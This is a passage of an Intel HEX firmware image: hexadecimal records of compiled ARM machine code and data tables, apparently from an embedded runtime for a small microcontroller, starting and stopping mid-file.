:10597000059B9E4200D11CE72B78002B07D1A36822 :105980000122E91A200021F0EAFD0136F0E72800A3 :1059900001211CF04CFE0500F7E7012D00D104E7C2 :1059A00001232A001A4041D0059A032A00D1E1E6DA :1059B00015E7C046890E03003CA402008CAE02002D :1059C000B10E030010A302000122059B03992B4096 :1059D00013405A008A188021528849010892120BFC :1059E00012038A4215D13A0008994032127809050B :1059F000090D8A420BD1002B04D0380010F020FC96 :105A00000135E1E721000AA81CF0A9FEF8E70135FD :105A1000A9E6049A069900920AA86B1C039A1CF046 :105A200061FE08990AA8FFF72DFD70E61300A1E6B4 :105A3000002A00D03AE63B0040331E78002E00D00A :105A4000CDE66368002B00D1C9E62B692000591C04 :105A50001CF076FEA3686B62EB69AB622DE6022B4D :105A600001D10A49C2E60A3B09480A49012B00D87C :105A70001EE609491CE6380021F041FF099A13ABE4 :105A800013CB13C2099817B0F0BDC046C30E030074 :105A9000E0A50200F70E03001E0F030010B504007E :105AA000486800220430074910F082FE064A0028A8 :105AB00003D0406803F054FE0200044920001DF0AA :105AC00084FA10BD860F0000C3120300360F0300D6 :105AD00070B5150012680C004068002A0AD1CC008D :105AE00006210430214310F063FE002801D04368F2 :105AF0002B6070BD03799B070BD50C4B9842F8D1F6 :105B00000B4EF36D002B03D101201FF0A7FAF065B7 :105B1000F06D06216A68E4002143002A03D11FF0DA :105B2000E0FA0023E4E71FF0D2FAFAE7ACF0020053 :105B3000842E002070B50625C000054301222900EF :105B40000B4810F035FE44680600002C0ED10820EA :105B50001CF029FA074B0400036001201FF07EFAB5 :105B60002A00606004491FF0B2FA7460200070BD22 :105B7000C02E00206CB20200860F000010B50C0091 :105B80000621C00001430122024810F011FE4460CA :105B900010BDC046C02E002073B50625C3001D43AE :105BA000060000222900104810F002FE041E18D141 :105BB000020029000D4810F0FBFD041E12D0EA215E :105BC0006A46FF314068FAF7BDFE009B002B08D003 :105BD00000216A4608001CF0F9F861683000FFF700 :105BE000CDFF6468200076BDC02E002098B1020071 :105BF00010B510201CF0D7F90400034B08C020F0AA :105C0000B1FC200010BDC04604C6020070B50C00F7 :105C1000052804D814F02CFE06030C04131C0024E1 :105C2000200070BD8B680E4C002BF9D10D4CF7E7AE :105C3000081D21F0EEF8012440000443F0E7FFF7CF :105C4000D7FF211D0500043020F012FE2C00E7E7ED :105C5000FFF7CEFF211D0500043020F019FEF5E707 :105C6000B4AD0200ACAD020070B5050083070CD1E5 :105C7000104B02689A4208D1FFF7BAFF291D0400B1 :105C8000043020F0EAFD200070BD280006F09AFEE6 :105C9000C0231B06984206D180200021C0051CF0BD :105CA000DEFE0400EFE70124C317C018584040008F :105CB0000443E8E704C6020007B5C30701D5401056 :105CC0000EBD043001A90DF0C1FB002801D00198E0 :105CD000F6E7024902481CF0B5F8C046440F03003D :105CE0002CA50200F0B58BB0019001200D0017002B :105CF00008402BD04B10022203A904A820F06AFC14 :105D000004AEFB072BD57B10022203A904A820F0C8 :105D100061FC04AD019B092B01D0162B3FD16B68B0 :105D2000002B68D0300021F0CFF8041C280021F0AF :105D3000CBF8011C201C15F01FFA03230224984302 :105D4000714B0443E41820000BB0F0BD03240C4059 :105D500023D16E4B0A689A42F5D10E1DD1E7032379 :105D60001F4205D1694A3968914201D13D1DD1E7F1 :105D70003B40022B0CD1664B3B40062B08D0300039 :105D800021F0A2F83A00011C0198FEF7C7FC04E0DC :105D90003A002900019809F08BFC0400D3E7019B2D :105DA000182B00D98AE0FFF723FF0400019814F0B4 :105DB0005FFD444A3E50500D13191F723365724403 :105DC0004A3E50500D13191F72336500201D2A00E2 :105DD000310020F0F6FDB6E7201D2A00310020F04A :105DE0002AFEB0E7201D2A00310020F053FFAAE769 :105DF0006B68002B03D1474947481CF023F807A8DC :105E000020F0B0FB2B003200201D07A90DF0B6F9E1 :105E100007A820F0ACFB96E76B68002BEBD007A837 :105E200020F0A0FB211D2B00320007A8EEE7201D6B :105E30002A00310020F040FE85E7201D2A003100B5 :105E400020F0B5FE7FE7201D2A0031000DF022F979 :105E500079E73800FFF730FF021E02DA2F48FBF720 :105E600011FA019B201D3100032B01D0102B02D110 :105E70000DF0A8F867E720F042FD64E76B68002B9F :105E800003D02B78DB0700D579E7201D2A003100ED :105E900020F07DFF57E76B68002BACD0FFF7A8FE22 :105EA0000700211D04302B0032000DF067F907A90F :105EB0000220079708940CF01DFE6EE729003000C1 :105EC00020F0A9FC0300019800241938042800D907 :105ED00039E7134C14F0CCFC0308140C1000002B11 :105EE00000DB30E70F4C2EE7002B00DC2BE7F9E757 :105EF000002B00DD27E7F5E7002B00DA23E7F1E7C9 :105F0000002B00D01FE7EDE70000808004C60200F0 :105F1000070080FF9D0503000CA702006305030036 :105F2000ACAD0200B4AD0200F0B5304B8FB007AE9F :105F300001380093043107230196FCF72FFA002360 :105F4000B0682B4F0393B84203D006F03BFDC3B2B9 :105F5000039370691825B84202D01FF0DDF845B2EE :105F6000B0691924B84202D01FF0D6F844B23069A3 :105F7000B8420DD005AA022106F0EAFD059B18687B :105F80001FF0CAF8059B45B258681FF0C5F844B227 :105F900001210E00A022AE40A140164BD205D758D9 :105FA00015483E430590D650D6588E43D650134AD6 :105FB00003218550C450280023F0B0F920000321AC :105FC00023F0ACF9079905A814F06EF80A9B039A20 :105FD000089905A814F078F80799094814F0E6FC28 :105FE000084B0130188002480FB0F0BD44B30200E6 :105FF00024DD020014050000002000400C05000014 :10600000C8320000C42D002010B50FF0DDFC034B9A :10601000002800D1024B180010BDC046B4AD0200EC :10602000ACAD0200F7B50E0014001D00002A07D029 :106030000FF0CAFC002805D10B2301242B60644219 :106040002000FEBD3500013CA31900930FF0C8FCF1 :10605000009B6C1C2870AB4210D0094B1B8801932D :1060600021F00FFB07000FF0AFFC25000028EDD159 :1060700021F007FB019BC01B8342F4D8A41BDFE780 :10608000C42D00200022104B10491A600300123367 :10609000FF3341185A701A7004338B42FAD1010051 :1060A0000300002209310833FF311A709A705A70C8 :1060B000DA7004338B42F8D1C3237F229B00C25491 :1060C000034B044A1A607047F401002011030000DA :1060D00018000020710F0300F0B500267E24320066 :1060E00031009300C318FF335F7C7F2F4CD09B7C23 :1060F000F618F6B2531CDBB2EF2E2AD9C1267D2545 :10610000B60086193700AC469C4516DA9B00C318CA :10611000FF3359749974D97419757D230232D2B240 :10612000934211DA9300C318FF335C749974D974E5 :10613000197500260132D2B2D3E73D68043FBD6035 :1061400001256D42AC44DFE73568013B7560043ED4 :10615000E6E77D2FEED80D4DEF5D01252F42E9D00A :10616000C1227D26920082189E4208DA9A00821887 :10617000FF3254749174D17411751A00D9E71568FF :10618000013E5560043AEFE7F0BDC04654100300ED :1061900070B5002140250D4C8B00C318FF335A7C8D :1061A0007F2A11D0A25C0131C9B22A42F4D05A7DB3 :1061B0007F2AF1D0A25C7F2AEED9DA7D56B2002E7A :1061C000EADD0132DA74E7E770BDC0460310030070 :1061D0000300F7B500214C4A1333FF3382181970BE :1061E00004339A42FBD1FC239C4600258444634639 :1061F0002A001B690093009B9D4207D37F234432F2 :10620000920013540120FEBD0D00F4E76346DF68E1 :106210007C5D602C01D9203CE4B2691C009EC9B2AF :1062200000238E4204D07B5C602B01D9203BDBB283 :106230000026232C21D1303B092B02D9334B344A81 :106240000CE00235E9B2009C8C420AD8FF2BF5D84D :10625000437053B2002BD7DA2C4B2E4A1A60002021 :10626000D1E77C5C2500303D092DEFD80A256B4332 :106270000131303BE318C9B2E5E7F7B20197264F89 :10628000F75DA74211D1254FF75D2A2F0DD0BB42F4 :106290000BD193000199C318FF335974417801322F :1062A00002351975D2B2E9B2D3E70136512EE4D1E5 :1062B00000231A4D5E5DDFB22A2E0CD1164E9E5D74 :1062C000A64208D19300C318FF335F7444780132AB :1062D0001C75D2B2BDE70133512BEBD1104D493BB8 :1062E0002E7AA64208D0013D002B02D1074B0D4A61 :1062F000B4E7013BDBB2F3E7002BF7D014004334E3 :10630000A4000419A370A4E71203000018000020E1 :10631000860F0300740F0300421103009311030062 :10632000E4110300940F030010B51130084A094925 :10633000FF3003787F2B00D110BD02240457002CBE :1063400003DCCB5C43700430F3E7D35CFAE7C04670 :10635000F2100300A2100300F0B50023070085B07F :106360009E00BE193100FF314A7C9C467F2A01D134 :1063700005B0F0BD4F4B02209C5C63460133DBB29D :106380000442EDD0012560462C4242D15419E0B2BE :10639000009049487C35801840780190C87C097D80 :1063A00002900391C1218900791808009D4226DAE4 :1063B0009B000098FB18FF3358740198941C987444 :1063C0000298E4B2D874039818753B486346821863 :1063D0003000FF309578027D023300927D22C67C2A :1063E000DBB29A4210DA9B00FB18FF335C749D7499 :1063F000DE74009A1A7563460333DBB2B0E70468B3 :10640000013D44600438D1E70868013A4860043926 :10641000E7E70130C0B2010044318900C95D0029BD :10642000F7D07F2908D008242248405C204297D129 :106430002439012900D893E73000511CC9B20091DA :106440001D49FF30891849787D250191C17C029151 :10645000017D0391C121890079180C009D421FDA4A :106460009B00009CFB18FF335C74019C124D9C74D4 :10647000029CDC74039C1C75941CAA1863469678D5 :10648000027D023300927D22C57CDBB2E4B29A42E7 :106490000BDA9B00FB18FF335C749E74DD74A8E775 :1064A0002668013D6660043CD8E70868013A486008 :1064B0000439ECE703100300A2100300F7B5002233 :1064C0009300C318FF335C7C002C03D10132D1B29E :1064D0000A00F5E77F2C00D125E1102692490D5DD9 :1064E000511CC9B2354215D14E2C3BD118220D2476 :1064F000DD7C5C741E7DC1239B00C31870348C420C :1065000036DA8B00C318FF335A740022DD749A7494 :106510001E75DDE7DC7CAD06ED0FA4462C00C12521 :106520007D261434AD001F7D019445198E4214DA86 :106530008D00019C4519FF356C740024AC746446D1 :106540002F75EC745C7C352C00D0AEE05A7B774C18 :10655000A25C5207BCD5102278E02C68013E6C602A :10656000043DE3E74F2C08D11B22C0E71C22BEE705 :106570001F68013C5F60043BC1E7502CF6D06DB250 :10658000002D2BDADD7C002D28D00D004435AD0028 :106590002D5C002D22D1961CF5B20195AD00451958 :1065A000FF356F7C7F2F19D05F4EF75D7F2F15D998 :1065B000EF7C002F12D0C1237D229B00C318019CC9 :1065C000944206DD1F236B740023AB74EB742B75B0 :1065D0007EE71C68013A5C60043BF0E7172C09D0A9 :1065E000182C35D15A7B504CA25C7F2A00D86FE71B :1065F00013222BE05C7B013AD2B2452C1CD11B3C10 :106600005C7315004335AD00474C2D5C655D7F2DF7 :1066100000D85DE70132D2B292008218FF32557C79 :10662000002D76D0645D7F2C00D851E7D27C002A03 :1066300000D04DE71E3209E0392C01D10D3CDFE7D7 :10664000394A125D7F2A00D842E712225A743FE786 :10665000202C05D15A7B3C2A00D039E7163AF5E7C1 :10666000482C15D15C7D7F2C02D14B245C7403E057 :106670002D4D2C5DA406F8D55C7C2B4D2D5DED07D2 :1066800000D45FE75D7B202D3CD10C3C5C741FE7A0 :106690003C2CF1D15A7D7F2A00D119E7224CA25C13 :1066A000920600D514E73F22D0E72A2C16D1DA7CD7 :1066B0001C7DC1237D259B00C3188D4209DA2B2543 :1066C0008B00C318FF335D740025DA749D741C754C :1066D000FEE61E68013D5E60043BEEE72C2C11D106 :1066E000DA7C1C7DC1237D259B00C3188D4204DA12 :1066F0008B00C318FF332D25E5E71E68013D5E6062 :10670000043BF3E7452C00D17BE7392C00D0DFE6D2 :1067100077E7527D7F2A00D1DAE6A25C7F2A00D893 :10672000D6E61E2292E7F7BD0310030054100300C3 :10673000F7B500240090E3B24433009A9B009B5CC1 :10674000E5B27F2B32D0574EF35CDB072CD56A1EA7 :10675000D2B2009B443292009A182B00524F013B58 :10676000DBB2002B23D011787F2903D0795C043A67 :106770007F29F4D900999A008A18FF32517C7F2929 :106780000ED02027705C384204D04748415C04207A :10679000014205D0917C48088446013161449174DE :1067A0000133DBB29D42E5D10134C4E70023022668 :1067B0000DE07B0705D4FB0708D5937CD9085B1A4D :1067C0002FE08B7B9A080133D3188B73019B009ABF :1067D000990051180A00FF32557C7F2D60D0324C51 :1067E000581C675DC0B2019078B200281BDA01998D :1067F000009889004118FF314D7C7F2DE6D0402064 :10680000675D0742D5D1123D012DDFD80233DBB2DF :10681000443300999B005B5CE35C0342D6D0937CDD :10682000013B9374D2E71F48455D082005420FD015 :10683000019B009A9B00D318FF335A7C7F2AC5D056 :10684000A25C3242C2D006229A7405229A73BDE736 :1068500037421BD00133DBB21A0000984432920059 :10686000125C002AF6D07F2AB0D00F4CA25C3242D4 :10687000ACD09B00C318FF339A7CFF315208013221 :106880009A748B7C5B0801338B749FE710231D4245 :106890009CD0537BE35C334298D0937C023BC0E7AF :1068A000F7BDC046541003000310030070B5040088 :1068B000FFF7E8FB2000FFF78BFC23000022FC33EE :1068C000DA601A61904226D02500224E11353368D5 :1068D000FF35934203D029001F48FEF7F3F920004B :1068E000FFF7ECFD2000FFF753FC2000FFF71CFD35 :1068F0002000FFF71DFF2000FFF72EFDC4222B0014 :106900009200A1181A78502A06D97F2A07D00020B1 :10691000124B134A1A6070BD04338B42F2D13368B4 :10692000002B02D00F481AF075FC2000FFF7D4FBB3 :106930003368002B03D029000B48FEF7C3F9200071 :106940001CF0F3F8054B0949186822F08AFE43420F :106950005841E0E7FC010020AB0F030018000020C5 :10696000BA0F0300E00F0300F00F0300710F0300E4 :1069700080235B051869034B1B7843438020C002CA :10698000C01A7047D52D002080235B051869034B82 :106990001B7843438020C002C01A7047D62D0020C8 :1069A00070B5084DC4012B68002118191BF08DFC2F :1069B0002868054B00197F3000781B788342F0D29D :1069C00070BDC046F8010020D42D002010B5C37959 :1069D0000400002B08D0064A037981791068DB0196 :1069E000C01801301BF071FC0023237210BDC0469B :1069F000F801002010B5124B01001A684379DB0141 :106A0000D31818007F300478FF2C08D10879C00112 :106A100012185278FF2A0FD0887990420CD08A79C8 :106A20009B180132D2B258787E2A01D08A7110BDEB :106A300000234C718B71FAE701204042F7E7C04612 :106A4000F801002070B5F8248025A40223786D0594 :106A50004D2B4CD12B698020E41A2B69C002E41A1B :106A60002969001B13F018FF2B4B2C4918702B6958 :106A7000E21852185D421540294B2A4A9B1A2A4AAD :106A80009B188022520511699D4234D38020C00298 :106A9000401B13F001FF254B641B1870E411244BBD :106AA000E4B21C70A12001230025224A2249136070 :106AB000C0004D604B68002BFCD01358DBB2A342E2 :106AC000F7D21E4901330B7001235360FFF750FFCB :106AD000037805001A4CFD2B0FD180235B05186944 :106AE000184BC009C018C0012818206070BD802450 :106AF0002B69E402AFE76D18C5E7FFF745FF0378A0 :106B0000803DFD2B01D12560F0E7FFF73DFFFD2122 :106B10001BF0DBFBF7E7C046D62D0020FF87FFFF09 :106B20001801002000000020D8900300D52D00207F :106B3000D42D002000D00040FCD00040D72D0020F4 :106B4000F8010020FFFFFF01F7B5254B254F1A780C :106B5000254B14001B7839680133E001405CFF28A5 :106B600029D00134E4B29C4200D101249442F4D1F2 :106B7000802300265B051B69DB090193E301009379 :106B80003B68E2019D182B7828005A425341F618C1 :106B90001BF0B1FB002810D0002304E0DA01AA5C4E :106BA000002A0AD10133019A9342F7D13868009B39 :106BB000C0181BF096FB2000FEBD0B4B01341B7868 :106BC000E4B201339C4200D10124054B1B78A3425F :106BD000D4D1072E02D91BF0D4FFB6E7FF24EAE791 :106BE000D72D0020F8010020D42D0020F7B5070094 :106BF0000D0001240E4B1B7801930E4B1E68019B68 :106C0000A34202D2FF242000FEBDE10171180B78DF :106C1000FE2B09D18B78AB4206D103312A00380014 :106C200022F0ABFC0028EED00134E4B2E7E7C04626 :106C3000D42D0020F801002010B5054A0379106812 :106C4000DB01C01881780022033002F04BF910BD3F :106C5000F8010020F0B585B002900D0016000393F6 :106C6000782947D8FFF7C2FF0400002E3CD0FF2848 :106C700001D0FFF795FEFFF767FF0400FF2803D15F :106C80001D491E481BF0DEF81D4FC0013B680190F6 :106C9000FE2118181BF019FB3B68019AE9B29818FD :106CA00002301BF012FB3868019B2A00C018033029 :106CB0000299FDF727FC0C201BF075F903990300DE :106CC000104A002900D0104A1A600D4A1C7112683F :106CD0005C71E4011419A278DE7102329A7101220A :106CE0001A72039A5A7202E03300FF28E3D11800A7 :106CF00005B0F0BD0023FAE7ED110300F0A4020097 :106D0000F80100201CB6020070B5020007B501A909 :106D100002F03CFD0199FFF769FFFF2803D1044908 :106D200004481BF08FF8FFF73BFE03480EBDC0463A :106D300020120300F0A4020024DD0200F7B5019246 :106D4000027A04000091002A02D12448FAF79AFA44 :106D5000C579002D06D1224A17680279D201D25D89 :106D6000002A05D1092201251A606D422800FEBDC6 :106D700061797E22C901791808007F30A3790078F3 :106D8000D21AFF2809D12079C00138184078FF288D :106D900019D0C01A824200D902000198461B9642BF :106DA00000D91600002EE1D0009A01335019C918FD :106DB000320022F0F0FBA3799B19DBB27E2B04D0CA :106DC000A371AD19D4E70022E7E70023A37163792B :106DD000DB01FB187F331B786371F2E703120300BA :106DE000F8010020F0B585B00393037A0400029106 :106DF0000192002B02D13048FAF744FAC379002BF4 :106E000008D02E4A03791268DB019B5C019A00923C :106E1000002B25D10923039A13600A3B01930198A3 :106E200005B0F0BD7E22A379D71A009A974200D907 :106E300017006079214E0133C001C01833683A0051 :106E400018180299FDF75EFBA379DB19DBB27E2BE4 :106E50000AD0A371029BDB190293009BDB1B0093FA :106E6000009B002BDED1DAE70023A371FFF76CFE55 :106E70000500FF2809D12079FFF792FD0023237236 :106E80001C23039A13601D3BC8E760793368C00177 :106E9000181829007F301BF018FA3368ED015819D3 :106EA00061791BF012FA62793368D2019B187F3343 :106EB0001B786371CEE7C04603120300F80100207F :106EC000002170B508001CF0B3FC012405000C4B38 :106ED0001B78A34201D2280070BD0A4AE301106862 :106EE000C0180378FE2B08D181780022033001F00E :106EF000F9FF0100280004F0E9FB0134E4B2E6E701 :106F0000D42D0020F801002073B501A902F03EFC49 :106F10000199FFF76BFEFF2803D10E490E481AF0C6 :106F200091FF00257E260D4B1C68C301E31859789C :106F30009B780233DBB2C201A2187F321078FF289F :106F400004D1C81A40191BF099FD76BDF31AED184B :106F50000023F0E720120300F0A40200F801002053 :106F60001FB5034A034B20F080FC05B000BDC046AE :106F7000F5690000CD69000010B505F089FD0549EF :106F800014F0D0FA0323020002209A43024B10436C :106F9000C01810BDE02E65420000808010B505F0DD :106FA00077FD054914F0BEFA0323020002209A433C :106FB000024B1043C01810BD35FA8E3C0000808093 :106FC00010B505F065FD011C14F066FD024B0028AC :106FD00000D1024B180010BDB4AD0200ACAD0200F0 :106FE00010B505F055FD440064080849201C14F054 :106FF00053FD002805D10549201C13F027FE002869 :1070000001D0034810BD0348FCE7C046FFFF7F7F67 :10701000ACAD0200B4AD020010B505F039FD034B74 :10702000034002201843024BC01810BDFCFFFF7F35 :107030000000808010B505F02BFD4400640808496D :10704000201C14F029FD002807D10549201C13F04D :10705000F3FD002801D1034810BD0348FCE7C046FA :10706000FFFF7F7FB4AD0200ACAD02001FB500236F :10707000019305F00DFD01A916F0EAFE03220300BD :1070800002209343064903435B180293019B9343F9 :1070900003435B1802A903930BF02CFD05B000BD60 :1070A0000000808070B50D0005F0F2FC041C280083 :1070B00005F0EEFC14F006FD0100201C16F0A4FE05 :1070C0000323020002209A43014B1043C01870BDF5 :1070D000000080801FB50023019305F0D9FC01A9B1 :1070E00016F06AFE032302249843074B2043C0187E :1070F000029001981BF0C2FC02A9039020000BF043 :10710000F9FC04B010BDC0460000808070B50D00D1 :1071100005F0BEFC041C280005F0BAFC011C201C74 :1071200017F094F80323020002209A43014B104306 :10713000C01870BD0000808070B50D0005F0A8FC7F :10714000041C280005F0A4FCC00FC3076000400821 :107150001843032302249843014B2043C01870BDF9 :107160000000808070B50D0005F092FC041C280022 :1071700005F08EFC011C201C17F034F803230200DC :1071800002209A43014B1043C01870BD000080805C :1071900010B505F07DFC16F033FC0323020002203D :1071A0009A43024B1043C01810BDC04600008080B7 :1071B00010B505F06DFC16F0EDFF03230200022070 :1071C0009A43024B1043C01810BDC0460000808097 :1071D00010B505F05DFC16F0B5FF03230200022098 :1071E0009A43024B1043C01810BDC0460000808077 :1071F00010B505F04DFC16F03BFF03230200022002 :107200009A43024B1043C01810BDC0460000808056 :1072100010B505F03DFC16F0EDFE03230200022040 :107220009A43024B1043C01810BDC0460000808036 :1072300010B505F02DFC16F03BFD032302000220E3 :107240009A43024B1043C01810BDC0460000808016 :1072500010B505F01DFC16F0C9FF03230200022043 :107260009A43024B1043C01810BDC04600008080F6 :1072700070B50D0005F00CFC041C280005F008FC9E :10728000011C201C17F040F80323020002209A433F :10729000014B1043C01870BD0000808010B505F090 :1072A000F7FB0021041C13F0BDFC002802D00748A6 :1072B000F9F7E8FF201C17F0B5F8032302000220BD :1072C0009A43034B1043C01810BDC0462F12030051 :1072D0000000808070B5060008680D0005F0D8FB3E :1072E0000021041C13F0A8FC002802D01848F9F76C :1072F000C9FF201C16F0D6FF041C012E06D1032363 :1073000002209C432043134BC01870BD686805F0F1 :10731000BFFB0021051C13F08FFC0028E6D1FE21E5 :10732000281C890513F078FC002803D00A490B4873 :107330001AF088FD281C16F0B5FF011C201C13F064 :107340001BFF0323020002209A431043DBE7C046E1 :107350002F120300000080809D0503000CA702008F :10736000C3790248002B00D101487047B4AD020038 :10737000ACAD020010B5FFF729FB014810BDC046B7 :1073800024DD020010B50868FFF720FB004810BD9F :1073900024DD020073B50D00022836D1012601A9B3 :1073A000686802F0F3F976423400019BC318834207 :1073B00012D101A9286802F0E9F9734273416242CF :1073C0006241DBB2D2B20199FFF744FC002820D120 :1073D000104911481AF036FD0278722A01D0772A36 :1073E00006D1611C0ED1723A544254410130DEE79D :1073F000622A01D0742A05D1711C03D1743A564215 :107400005641F3E70548F9F73DFF0126764234007F :10741000CFE776BD20120300F0A402004112030062 :1074200037B50400A068F9F76DFB019000280ED075 :107430006568074B9D4205D001AB00220121280061 :10744000F9F708FA05F0FCFB0028EBD001983EBDE7 :1074500024DD0200C4600561466187614146C16167 :107460004946016251464162594681626946C1629C :107470007146816000490847817400000020C046C1 :10748000024B9A680260986000207047842E0020AA :10749000024B9A6812689A607047C046842E00209A :1074A0000E4A9368002B01D11FF076FF19685860CF :1074B0009160181CC468056946698769C169884676 :1074C000016A8946416A8A46816A8B46C16A8D464D :1074D00081688E4601207047FEE7C046842E00205A :1074E00070B505000C200C001AF05DFD024B4560E4 :1074F0000360846070BDC046B0B6020010B50400E1 :107500001FF0D0FF1FF03BFF01280BD006492000E1 :107510001FF0E3FF20001FF0C5FF1FF030FF02281F :1075200000D0002010BDC0468A120300F0B59DB007 :1075300000AF0C68032835D9CB68FB60042835D030 :107540000D6900206D102BD41C232000F91802F0C7 :107550001DF97861002D59D0954C9649606809F065 :1075600039F8060060680022934904300FF020F9D2 :107570001823FA18D1180400300002F007F93B6B09 :10758000013D0100C318002C05D1994203D2013BF3 :107590001A782E2AF9D1013D0ED299420FD187488F :1075A000F9F770FE864B0025FB60CDE70025CBE7A1 :1075B000013B1A782E2AEED09942F9D3EBE7FE6907 :1075C0005C1A2500002E01D0751C2D196A46EB1D92 :1075D000DB08DB00D31A9D46220018003B6121F036 :1075E000DAFF002E08D02E233A69601C13551018BC :1075F0007969320021F0CFFF290038690EF078F860 :1076000006243B69C0000443FD617B61200001F05A :107610008BFCFEF7C1FA061E15D02E21786922F0E8 :1076200012F800280BD0664BFA689A4207D17B69A2 :10763000C11A18000EF05CF8FEF7AEFA0600300032 :10764000BD461DB0F0BD182318000125FA18D21848 :107650003818103B4021C0181FF0EFFEBE603E619D :10766000FB69AB4205D2564BFA689A42E7D0BE6836 :10767000E5E7AB4204D07B695B5D2E2B00D094E044 :10768000290078690EF034F87B6A3860002B17D136 :107690002A00082479691833F81800191FF098FE99 :1076A0001823FB181819FFF729FF78607B68002B57 :1076B00014D13A6843494448FAF7B2FFFFF7F0FEA5 :1076C00018230824FA182F2110190DF025FF3B6903 :1076D0003969EA1A7B6959181823DDE73868FEF71B :1076E0005BFA041E4BD13868FEF724FAFB690400EC :1076F000AB4213D1354BFA689A420FD17B68012B0C :107700000FD0334A2B4940681DF0E1FC18220823B2 :10771000BA18D11820001BF04CFB30E07B68012B1D :10772000F4D10022796AB86A01F0DCFBF42102008E :10773000FF312000F9F760F97B6A18227B6008238B :10774000B818C0182F210DF0E7FE18220823B8182A :10775000C01820491FF0C1FE18220823BA18D018FB :107760001FF0A0FE1FF00BFE022806D118220823EE :10777000BA18D11820001BF01CFB7B687B62BB6829 :10778000002B0CD07A693B699446E91A63441800CF :107790000DF0AEFF22000100B868F9F72DF9002EB8 :1077A00000D126006B1C3B61BC60013558E7C04628 :1077B000842E0020860F00009E0F00004E12030052 :1077C00024DD02006D120300D4A20200ACAD020061 :1077D000760F000082120300F0B587B00392059186 :1077E0000D9A03990500521A0CA9097820200C0063 :1077F000844339D030293BD00CA902910121802447 :1078000001911C4036D0D40FA4186410171B002C13 :1078100037DD2600019B0493B34200DD04966B68BC :10782000049A029928689847049BF61A002EF1DC06 :10783000039B002B06D01A0005996B6828689847AF :10784000039BE418002F0CDDE419019EBE4200DD0D :107850003E003200029928686B689847BF1B002FD2 :10786000F3DC200007B0F0BD074902911021C6E704 :107870000649FAE701271F4001D11400C7E71700A6 :10788000D6E70024D4E7C046A0120300B1120300DB :10789000F0B593B01E0018AB20CB04901B780C0001 :1078A00017000793CB070BD48B0703D1814B0A68D2 :1078B0009A4205D0200005F085F8012440000443D9 :1078C00081231D4209D1079B302B06D11A9B1B9A9D :1078D000934200DA1A9200231B9320001BF0ABF8AE :1078E0000AAB002806DBAA070FD52B221A70192332 :1078F00004AA9B18F2B2E90614D5022F09D130214F :107900001970511C597002330CE06A07F2D520221D :10791000ECE7082F00D0B3E030211970A90500D59D :10792000ABE0013300210AA819701B1A05930B0064 :10793000A90600D52C330EA90B9110210C91002122 :107940001B980D91012801DD40200543172604A84E :10795000361840202840317006900393029200D1DF :1079600096E00191009723000DAA0CA90BA807F03F :10797000FDFD037807002D2B04D133700D9B0137DB :10798000013B0D931B9B012B00DC8FE00D9B1B9C8F :107990009C4200DA1C00069B002B08D0172304AA87 :1079A0009B181B785A1E9341E418059BE4181A9BF8 :1079B000A34200DC77E0012300261A9A2B40141B17 :1079C000B34201D126001C0001239D432F330793AE :1079D000002E09D0103B0093002301961A0036496F :1079E0000498FFF7F9FE0600069B002B21D0172113 :1079F00004ABC9180B78002B0AD000230122009396 :107A000001920498FFF7E8FE1A9B3618013B1A937F :107A1000059B002B0DD0012301930023059A0093B1 :107A20000AA90498FFF7D8FE1A9B059A36189B1AE4 :107A30001A931B9B012B00DD1A931A9B0D9A01933D :107A4000079B3900009304982B00FFF7C5FE3618FA :107A5000002C09D020230093002301941A0016491A :107A60000498FFF7B9FE36180B980EAB984201D078 :107A70001AF0C8FA300013B0F0BD11000E3141E722 :107A8000102F00D04EE7302119701100173139E75F :107A90000AAB0193009723000DAA0CA90BA807F0CD :107AA00065FD07006EE7002426008DE70024260010 :107AB0009AE7C04604C60200C3120300F0B50700EF :107AC000140000268DB00D002B78002B01D0252B43 :107AD0001DD1A94208D26B1A05931A0038687B6839 :107AE00098472900059BF6180B78002B00D123E15D :107AF0004B1C0593202300253022082104200993E4 :107B0000059B1B78002B04D107930A2123E0013544 :107B1000DAE72D2B05D12C3B1D43059B0133059343 :107B2000EEE72B2B01D1293BF6E7202B01D10543B2 :107B3000F3E7212B01D10D43EFE7302B2CD110338C :107B40001D430992E9E7079A4A43D318303B07934C :107B5000059B01330593059B1B781A00303A092ACF :107B6000F1D92E2B43D1059B5B782A2B16D0059B90 :107B70000A210133059300230893059B1B781A0003 :107B8000303A092A14D8089A4A43D318303B08934C :107B9000059B01330593F0E70023B5E7059B02330E :107BA000059308CC0893DB43089ADB171A40089228 :107BB000059B1B786C3B5A425341059AD318059399 :107BC0001B780693002B00D1B6E0642B00D192E025 :107BD00020D8502B26D00ED8453B022B00D898E059 :107BE0000122059938687B68984701364BE00123EC :107BF0005B420893DCE7069B622B36D04ED8582BAD :107C0000EED1079B01950393099B029341230093B7 :107C1000313B6EE0069B712B4AD00CD8672B78D98C :107C2000702BDDD1079B01950393099B0293612380 :107C30000093513B5DE0069B752B52D0782BF1D021 :107C4000732BCDD108CC0693002B42D0089B013377 :107C500003D1069821F00FFD0890079B089A019325 :107C6000099B069900932B0009E008CC002B0DD04E :107C7000079B04220193099B314900932B00380094 :107C8000FFF7AAFD3618059901311CE7079B05226D :107C90000193099B2B4900932B00F0E708CC0BA91B :107CA0000B70079B01220193099B00932B00E6E7D1 :107CB0000BA901CC1FF0A7FC089B0100013301D1E7 :107CC0000B9B0893079B089A0193099B00932B0039 :107CD000D5E7079B06220193099B1B4900932B00C4 :107CE000CDE7079B01950393099B029361230093C2 :107CF000573B002208E0079B01220393099B019553 :107D0000029361230093573B02CC38001BF0AEF87E :107D1000B8E7072307349C4303CC15F0BFFD089B4D :107D2000011C0293079B069A0193099B380000935C :107D30002B001BF005F9A5E730000DB0F0BDC046E3 :107D40008E1203009312030099120300F0B58BB05A :107D5000089310AB10CB019006911B78062A12D81D :107D6000012A08D93F230B700B000133069300232F :107D700006990B7001E0002AF9D101259542AD4129 :107D800068420BB0F0BD019900292DDA069B0699D7 :107D90005D1C2D230B70802109068C46019B6344DA :107DA0000193069BFF21E81A131A019A049310000D :107DB000013BC905059308402023884221D14E216B :107DC000089AE81C1A4013001143019A570212D175 :107DD00049225A402A70462253406970AB700023F2 :107DE000EB70069BC01ACCE7069D002BD9D029006A :107DF00001350B70D5E74124634029706B70A97081 :107E0000EDE7002C00DA062408991943029167294E :107E10003DD1002C00D1D8E1002A79D0A74B9A425D :107E200000D9D8E0A649019812F01AFF0026431E97 :107E3000984120233700303007900393A14B0199DC :107E4000F05812F003FF002807D0039B0198FF1899 :107E50009D4BF15813F066FB0190039B04365B10B9 